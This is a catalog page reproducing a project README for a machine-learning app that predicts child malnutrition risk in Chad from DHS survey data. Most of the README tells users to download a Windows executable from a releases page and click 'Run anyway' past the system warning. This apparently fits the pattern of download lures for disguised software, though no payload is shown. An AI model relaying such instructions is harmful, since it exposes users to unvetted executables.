Logo Lanfrica

Developingcountryindianmonetaryunit573/Chad-malnutrition-prediction

Domaine:

healthcare

Type de record:

model
Créateur:
Dev
Hôte:
Predict child malnutrition risk in Chad with machine learning to help health workers act early and target care # 📉 Chad-malnutrition-prediction - Predict child risk with data ## 🚀 What this app does Chad-malnutrition-prediction helps estimate the risk of child malnutrition in Chad using survey data from DHS 2014. It uses a machine learning model built for public health analysis. The model was tested on 9,826 children and reached 92% accuracy and an AUC of 0.979. The app is useful if you want a simple way to review child nutrition risk data without setting up a full data science tool chain. ## 📥 Download the app Visit the release page to download and run this file: Go to Releases On that page, look for the latest release and download the Windows file attached to it. ## 🖥️ What you need Before you start, make sure you have: - A Windows PC - An internet connection - Enough free disk space for the app and data files - Permission to save and open downloaded files If the release includes a zipped folder, you will also need the built-in Windows unzip tool or a file extractor. ## 🧭 How to install and run on Windows 1. Open the Releases page 2. Find the newest release at the top 3. Download the file for Windows 4. If the file is in a `.zip` folder, right-click it and choose **Extract All** 5. Open the extracted folder 6. Double-click the app file to start it 7. If Windows asks for permission, choose **Run anyway** if you trust the source 8. Wait for the app to load, then follow the on-screen steps If the release includes an installer, open the installer file and follow the prompts until setup ends. ## 🧪 What the model uses The app uses child and household survey data to estimate malnutrition risk. It is based on common public health signals such as: - Age - Weight and growth indicators - Household context - Nutrition-related survey fields - Child health factors from DHS data The model uses gradient boosting, which combines many small decision rules to make one prediction. ## 📊 Why this project matters Child malnutrition is a serious public health issue in Chad. …